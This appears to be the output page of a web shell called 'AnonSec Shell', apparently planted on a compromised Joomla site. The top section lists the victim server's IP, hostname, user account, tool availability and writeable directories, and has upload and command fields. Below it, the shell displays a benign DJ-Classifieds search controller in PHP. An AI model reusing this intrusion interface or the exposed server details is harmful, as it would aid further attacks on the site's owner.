AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/montpellier/components/com_djclassifieds/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/montpellier/components/com_djclassifieds/controllers/items.php
<?php
/**
 * @package DJ-Classifieds
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined('_JEXEC') or die;

class DJClassifiedsControllerItems extends JControllerLegacy
{
	function parsesearch()
	{
		$app = JFactory::getApplication();
		$mod_id = $app->input->get('mod_id', 0);

		$module = $mod_id ? JModuleHelper::getModuleById((string)$mod_id) : null;
		$mod_params = $mod_id ? new JRegistry($module->params) : JComponentHelper::getParams('com_djclassifieds');

		$search_item = DJClassifiedsSEO::getSearchResultsMenuItem($mod_params, $module);
		if($search_item){
			$itemid_uri = $search_item->link;
			$itemid = $search_item->id;
			$uri = JUri::getInstance($itemid_uri);
			$uri->setVar('Itemid', $itemid);
		}else{
			$uri = 'index.php?option=com_djclassifieds&view=items';
		}
		
		if($app->input->get('reset')){
			$app->redirect(JRoute::_($uri, false));
		}
		$link = JRoute::_($uri.'&se=1', false);

		foreach($app->input->get->getArray() as $key => $input){
			if($input == '' || $input == '0000-00-00 00:00:00' || in_array($key, array('task', 'se', 'option', 'view', 'Itemid', 'mod_id'))){
				continue;
			}
			if($key == 'layout' && strpos($uri, '&layout=') !== false){
				continue;
			}
			if((!empty($search_item->query['cid']) && $search_item->query['cid'] == DJClassifiedsTheme::getIdFromTree($app->input->getVar('se_cats')) && $key == 'se_cats') || (!empty($search_item->query['rid']) && $search_item->query['rid'] == DJClassifiedsTheme::getIdFromTree($app->input->getVar('se_regs')) && $key == 'se_regs')){
				continue;
			}
			if(is_array($input)){
				$input = array_filter($input);
				if(!$input){
					continue;
				}
				$link .='&'.$key.'='.urlencode(implode(',', $input));
			}else{
				$link .='&'.$key.'='.urlencode($input);
			}			 
		}

		$app->triggerEvent('onAfterDJClassifiedsItemsParseSearch', array(&$link));

		$app->redirect($link);
		$app->close();
	}
}

Anon7 - 2022
AnonSec Team